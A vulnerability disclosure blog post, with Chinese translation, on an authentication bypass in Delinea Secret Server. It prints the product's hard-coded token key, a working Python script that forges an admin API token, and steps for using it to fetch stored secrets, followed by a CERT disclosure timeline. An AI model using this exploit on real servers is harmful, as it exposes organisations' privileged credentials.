原文始发于Johnny Yu (@straight_blast):“All Your Secrets Are Belong To Us” — A Delinea Secret Server AuthN/AuthZ Bypass
Delinea Secret Server is a privileged access management (PAM) solution that helps organizations secure, manage, and monitor privileged accounts and access across their IT infrastructure.
Delinea Secret Server 是一种特权访问管理 (PAM) 解决方案,可帮助组织保护、管理和监控特权帐户以及跨其 IT 基础架构的访问。
Accessing the application through the web UI requires standard username and password authentication. Additionally, it supports supplementary security measures like 2FA. Moreover, the application provides a set of web services accessible via an API token.
通过 Web UI 访问应用程序需要标准用户名和密码身份验证。此外,它还支持 2FA 等补充安全措施。此外,该应用程序提供了一组可通过 API 令牌访问的 Web 服务。
As part of my personal security research, I downloaded the Delinea Secret Server On-Permises to hunt for vulnerabilities. The product’s version at the time I downloaded it was 16.000004. After installing the product, I looked into its directory and noted it was an ASP.NET application. I immediately review the web.config file as it serves as a roadmap to where potential attack surface could be at. I was looking for pages and resources that do not require AuthN/AuthZ. I found a webservice endpoint that did not sit behind a login page,
作为我个人安全研究的一部分,我下载了 Delinea Secret Server On-Permises 来寻找漏洞。我下载时的产品版本是 16.000004。安装产品后,我查看了它的目录,并注意到它是一个 ASP.NET 应用程序。我立即查看了 web.config 文件,因为它可以作为潜在攻击面可能所在位置的路线图。我一直在寻找不需要 AuthN/AuthZ 的页面和资源。我发现了一个不位于登录页面后面的 Web 服务端点,
- SecretServer/webservices/SSWebService.asmx
and I explored the APIs to evaluate their functionalities.
我探索了 API 来评估它们的功能。
Unfortunately, I could not exercise the APIs as they require an API token.
不幸的是,我无法行使 API,因为它们需要 API 令牌。
My initial thought was it would be a waste of effort to audit the API token implementation, as I felt such critical component would’ve went through rigorous security review. I took a leap of faith and dived into the decompiled code, which led me to astonishing discoveries.
我最初的想法是,审核 API 令牌实现会浪费精力,因为我觉得这些关键组件会经过严格的安全审查。我迈出了一大步,潜入了反编译的代码中,这让我有了惊人的发现。
For all web service requests, the API token is checked for validity via Thycotic.ihawu.Business.Authentication NS -> ValidTokenProvider class -> IsValidToken function from Thycotic.ihawu.Business.dll
对于所有 Web 服务请求,将通过 Thycotic.ihawu.Business.Authentication NS -> ValidTokenProvider 类 -> Thycotic.ihawu.Business.dll 中的 IsValidToken 函数检查 API 令牌的有效性
... snipped ...
authenticationTicket = this._oAuthAuthOptions.AccessTokenFormat.Unprotect(encryptedToken);
num = (short)883621889;
num2 = (int)((IntPtr)num);
continue;
... snipped ...
The IsValidToken function will first deserialize the API token by calling the Thycotic.Identity.Formatters NS -> SecureTokenFormatter class -> Unprotect function from Thycotic.Identity.dll. The deserialization comprise of the following steps:
IsValidToken 函数将首先通过从Thycotic.Identity.dll调用 Thycotic.Identity.Formatters NS -> SecureTokenFormatter 类 -> Unprotect 函数来反序列化 API 令牌。反序列化包括以下步骤:
- Base64 decode incoming string (API token)
Base64 解码传入字符串(API 令牌) - Decrypt the decoded string (API token)
解密解码后的字符串(API 令牌) - Deserialize the decrypted content into a Microsoft.Owin.Security.AuthenticationTicket object
将解密的内容反序列化为 Microsoft.Owin.Security.AuthenticationTicket 对象
public AuthenticationTicket Unprotect(string text)
{
byte[] protectedData = this._encoder.Decode(text);
byte[] data = this._protector.Unprotect(protectedData);
return this._serializer.Deserialize(data);
}
The first discovery resides in the Unprotect function, where it decrypts the API token with a hard-coded key.
第一个发现位于 Unprotect 函数中,它在其中使用硬编码密钥解密 API 令牌。
The Unprotect function is located in Thycotic.Identity.dll -> Thycotic.Identity.Protectors NS -> ThycoticDataProtector class.
Unprotect 函数位于 Thycotic.Identity.Protectors NS -> ThycoticDataProtector 类Thycotic.Identity.dll -> 中。
public byte[] Unprotect(byte[] protectedData)
{
byte[] key = this._keyProvider.GetKey();
if (key == null)
{
throw new SecurityException("Invalid Key");
}
byte[] first = protectedData.Take(2).ToArray<byte>();
... snipped ...
The call to _keyProvider.GetKey() leads to the following:
对 _keyProvider.GetKey() 的调用会导致以下结果:
namespace Thycotic.Identity.Providers
{
// Token: 0x02000009 RID: 9
public class KeyProvider : IKeyProvider
{
// Token: 0x06000017 RID: 23 RVA: 0x000021CA File Offset: 0x000003CA
public byte[] GetKey()
{
return new byte[]
{
94,
236,
230,
169,
211,
147,
133,
245,
121,
91,
206,
177,
186,
5,
69,
44,
76,
117,
133,
146,
11,
237,
91,
37,
252,
151,
171,
17,
83,
67,
193,
141
};
}
}
}
The uncovering of hard-coded key served as a motivator to investigate the rest of the API token checking mechanism.
硬编码密钥的发现是调查 API 令牌检查机制其余部分的动力。
When the API token is deserialized into a Microsoft.Owin.Security.AuthenticationTicket object, the next step in the IsValidToken function is to retrieve the user profile from it.
当 API 令牌反序列化为 Microsoft.Owin.Security.AuthenticationTicket 对象时,IsValidToken 函数的下一步是从中检索用户配置文件。
... snipped ...
IL_291:
user = this._owinClaimHelper.GetUser(authenticationTicket.Identity.Claims);
num = (short)235012100;
num2 = (int)((IntPtr)num);
... snipped ...
The GetUser function is located in Thycotic.ihawu.Business.Authentication NS -> OwinClaimHelper class under Thycotic.ihawu.Business.dll, and this logic retrieves the user profile from the nameidentifier property which holds an Integer string.
GetUser 函数位于 Thycotic.ihawu.Business.dll 下的 Thycotic.ihawu.Business.Authentication NS -> OwinClaimHelper 类中,此逻辑从保存整数字符串的 nameidentifier 属性中检索用户配置文件。
Through dynamic analysis, I observed every user profile is represented with an Integer value in consecutive order. Integer 2 is always the Admin user (note: This user profile gets create as part of the installation of the application).
通过动态分析,我观察到每个用户配置文件都以连续顺序用整数值表示。整数 2 始终是管理员用户(注意:此用户配置文件在应用程序安装过程中创建)。
The attack path is starting to take shape. If we know the hard-coded key to deserializing the API token and we know the Integer value associated with the Admin profile, we should be able to craft a serialized API token with Admin role, and net access to any Delinea Secret Server’s protected resources through the web services API.
攻击路径开始成形。如果我们知道反序列化 API 令牌的硬编码密钥,并且我们知道与 Admin 配置文件关联的 Integer 值,我们应该能够制作具有 Admin 角色的序列化 API 令牌,并通过 Web 服务 API 对任何 Delinea Secret Server 的受保护资源进行净访问。
The story is not complete without encountering and getting pass roadblock. I encountered a hurdle in this section of the IsValidToken function:
如果没有遇到和通过路障,故事就不完整。我在 IsValidToken 函数的这一部分遇到了一个障碍:
... snipped ..
Claim claim;
Guid oauthExpirationId = new Guid(claim.Value);
oauthExpiration = this._oAuthExpirationService.Load(oauthExpirationId);
num = (short)455344133;
num2 = (int)((IntPtr)num);
... snipped ...
The oauthExpirationId property is accessible through Microsoft.Owin.Security.AuthenticationTicket object, and this property contains a UUIDv4 value that gets generated per user authentication. For example, when user Admin authenticates through the web UI, an AuthenticationTicket object is created along with a timestamp that is stored in the application cache. When a user access a web service with an API token, the deserialized AuthenticationTicket object will use the UUIDv4 value stored in oauthExpirationId to reference the timestamp in application cache to determine when the associated AuthenticationTicket object was created. This is to ensure an API token is tied to an authenticated user.
oauthExpirationId 属性可通过 Microsoft.Owin.Security.AuthenticationTicket 对象访问,此属性包含每个用户身份验证生成的 UUIDv4 值。例如,当用户 Admin 通过 Web UI 进行身份验证时,将创建一个 AuthenticationTicket 对象以及存储在应用程序缓存中的时间戳。当用户使用 API 令牌访问 Web 服务时,反序列化的 AuthenticationTicket 对象将使用存储在 oauthExpirationId 中的 UUIDv4 值来引用应用程序缓存中的时间戳,以确定何时创建关联的 AuthenticationTicket 对象。这是为了确保 API 令牌绑定到经过身份验证的用户。
This puts a stop towards the attack path because there is no way to determine a valid UUIDv4 value generated by the application. The goal of crafting a AuthN/AuthZ bypass vanished.
这会阻止攻击路径,因为无法确定应用程序生成的有效 UUIDv4 值。制作 AuthN/AuthZ 旁路的目标消失了。
While I encountered setback, what is the next best thing I can do? It turns out the UUIDv4 value does not have any association with a user profile. So user Alice can use user Bob’s oauthExpirationId UUIDv4 value as long as the referenced timestamp have not expired. I was able to figured this out by editing the values manually with the DnSpy debugger. This gives an avenue for a Local Privilege Escalation path:
当我遇到挫折时,我能做的下一个最好的事情是什么?事实证明,UUIDv4 值与用户配置文件没有任何关联。因此,只要引用的时间戳未过期,用户 Alice 就可以使用用户 Bob 的 oauthExpirationId UUIDv4 值。我能够通过使用 DnSpy 调试器手动编辑值来解决这个问题。这为本地权限提升路径提供了一条途径:
- A low privileged user (Bob) authenticates to the application and collect its API token.
低特权用户 (Bob) 向应用程序进行身份验证并收集其 API 令牌。
2. Bob examines its API token and extract the oauthExpirationId value.
2. Bob 检查其 API 令牌并提取 oauthExpirationId 值。
3. Bob crafts an Admin privileged AuthenticationTicket with the nameidentifer property set to 2, and the oauthExpirationId it had from its original API token, and finishes off with encrypting and serializing the AuthenticationTicket into an API token with the hard-coded key.
3. Bob 制作了一个管理员特权 AuthenticationTicket,其 nameidentifer 属性设置为 2,以及它从其原始 API 令牌中获得的 oauthExpirationId,最后使用硬编码密钥将 AuthenticationTicket 加密并序列化为 API 令牌。
This is a pretty good attack path, but I wasn’t satisfy with the result. My instinct tells me there should be a way with getting a full AuthN/AuthZ bypass, and I should not settle for a LPE.
这是一条相当不错的攻击路径,但我对结果并不满意。我的直觉告诉我,应该有一种方法可以绕过完整的 AuthN/AuthZ,我不应该满足于 LPE。
The final discovery that led to a full AuthN/AuthZ bypass for any Delinea Secret Server is very simple and was something I overlooked. It turns out if I remove the oauthExpirationId attribute from the AuthenticationTicket object, the timestamp check will not get invoked!
导致任何 Delinea Secret Server 完全绕过 AuthN/AuthZ 的最终发现非常简单,这是我忽略的。事实证明,如果我从 AuthenticationTicket 对象中删除 oauthExpirationId 属性,则不会调用时间戳检查!
Coincidentally after my discovery, Delinea released version 11.6.000025 of their Secret Server, which still have the security issues described in this blog post.
巧合的是,在我发现之后,Delinea 发布了他们的 Secret Server 版本 11.6.000025,该版本仍然存在本博文中描述的安全问题。
3/28/2024 Update: Delinea Secret Server latest version 11.7.000000 is vulnerable as well.
2024/3/28 更新:Delinea Secret Server 最新版本 11.7.000000 也容易受到攻击。
PoC || GTFO 概念验证 ||走开
1. Download Delinea Secret Server and install it (https://support.delinea.com/s/download-onprem) — to use their DLL files.
1. 下载 Delinea Secret Server 并安装它 (https://support.delinea.com/s/download-onprem) — 使用他们的 DLL 文件。
2. Install python, for my instance, python is installed to C:\Users\Administrator\AppData\Local\Programs\Python\Python312\python.exe
2.安装python,对于我的实例,python安装在C:\Users\Administrator\AppData\Local\Programs\Python\Python312\python.exe
3. Install pythonnet, which allows python to talk to .NET: C:\Users\Administrator\AppData\Local\Programs\Python\Python312\python.exe -m pip install pythonnet
3. 安装 pythonnet,它允许 python 与 .NET 通信:C:\Users\Administrator\AppData\Local\Programs\Python\Python312\python.exe -m pip install pythonnet
4. Open cmd.exe and go to C:\inetpub\wwwroot\SecretServer\bin
4. 打开cmd.exe并转到 C:\inetpub\wwwroot\SecretServer\bin
5. Run C:\Users\Administrator\AppData\Local\Programs\Python\Python312\python.exe under C:\inetpub\wwwroot\SecretServer\bin
5. 在 C:\inetpub\wwwroot\SecretServer\bin 下运行 C:\Users\Administrator\AppData\Local\Programs\Python\Python312\python.exe
6. Copy & Paste the following python code into Python interpreter to generate the Golden token:
6. 将以下 python 代码复制并粘贴到 Python 解释器中以生成 Golden 令牌:
import clr
clr.AddReference("Thycotic.Identity")
clr.AddReference("Microsoft.Owin.Security")
import sys
from System import *
from System.Security.Claims import *
from Microsoft.Owin.Security import *
from Thycotic.Identity.Providers import *
from Thycotic.Identity.Formatters import *
from Thycotic.Identity.Protectors import *
def buildToken(id):
claimsIdentity = ClaimsIdentity("ExternalBearer", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name", "http://schemas.microsoft.com/ws/2008/06/identity/claims/role")
claimsIdentity.AddClaim(Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier", str(id), "http://www.w3.org/2001/XMLSchema#integer", "Thycotic.Identity", "Thycotic.Identity"))
properties = AuthenticationProperties()
properties.IssuedUtc = DateTimeOffset.UtcNow.Add(TimeSpan(0,0,0,0))
properties.IsPersistent = False
authenticationTicket = AuthenticationTicket(claimsIdentity, properties)
keyProvider = KeyProvider()
dataProtector = ThycoticDataProtector(keyProvider)
secureTokenFormatter = SecureTokenFormatter(dataProtector)
token = secureTokenFormatter.Protect(authenticationTicket)
return token
buildToken(2)
7. Browse to http://<target>/SecretServer/webservices/SSWebService.asmx?op=WhoAmI and paste the token into the POST field and observe the Admin profile is returned. note: <target> can be localhost
7. 浏览到 <target>http:///SecretServer/webservices/SSWebService.asmx?op=WhoAmI 并将令牌粘贴到 POST 字段中,并观察是否返回管理员配置文件。 注意: <target> 可以是 localhost
8.
For more serious impact: 对于更严重的影响:
Make a SOAP request to http://<target>/SecretServer/webservices/SSWebService.asmx?op=SearchSecrets — to obtain stored secrets
向 <target>http:///SecretServer/webservices/SSWebService.asmx?op=SearchSecrets 发出 SOAP 请求以获取存储的机密
Disclosure Timeline 披露时间表
2/12/2024 — I sent an email to Delinea, and their response stated that I am ineligible to open a case since I am not affiliated with a paying customer/organization.
2024 年 2 月 12 日 — 我向 Delinea 发送了一封电子邮件,他们的回复说我没有资格立案,因为我不隶属于付费客户/组织。
02/12/2024 — I reached out to CERT to coordinate responsible disclosure with Delinea. CERT opened case VU#979120
02/12/2024 — 我联系了 CERT,与 Delinea 协调负责任的披露。CERT 打开的案例 VU#979120
02/16/2024 — Status update from CERT noted Delinea did not respond
2024 年 2 月 16 日 — CERT 的状态更新指出 Delinea 没有回应
02/23/2024 — Status update from CERT noted Delinea did not respond
02/23/2024 — 来自 CERT 的状态更新指出 Delinea 没有回应
03/05/2024 — Status update from CERT noted Delinea did not respond
03/05/2024 — 来自 CERT 的状态更新注意到 Delinea 没有回应
03/18/2024 — Status update from CERT noted Delinea did not respond. CERT extended disclosure deadline to 04/03/2024
2024 年 3 月 18 日 — CERT 的状态更新指出 Delinea 没有回应。CERT 将披露截止日期延长至 2024 年 4 月 3 日
03/28/2024 — No update, no response
03/28/2024 — 没有更新,没有回应
04/03/2024 — No update, no response. CERT extended disclosure deadline to 04/10/2024
04/03/2024 — 没有更新,没有回应。CERT 将披露截止日期延长至 2024 年 4 月 10 日
04/10/2024 — Public disclosure of the vulnerability
04/10/2024 — 漏洞公开披露
04/12/2024 — Delinea acknowledged the finding and is addressing it — https://trust.delinea.com/?tcuUid=17aaf4ef-ada9-46d5-bf97-abd3b07daae3
04/12/2024 — Delinea 承认了这一发现并正在解决这一问题 — https://trust.delinea.com/?tcuUid=17aaf4ef-ada9-46d5-bf97-abd3b07daae3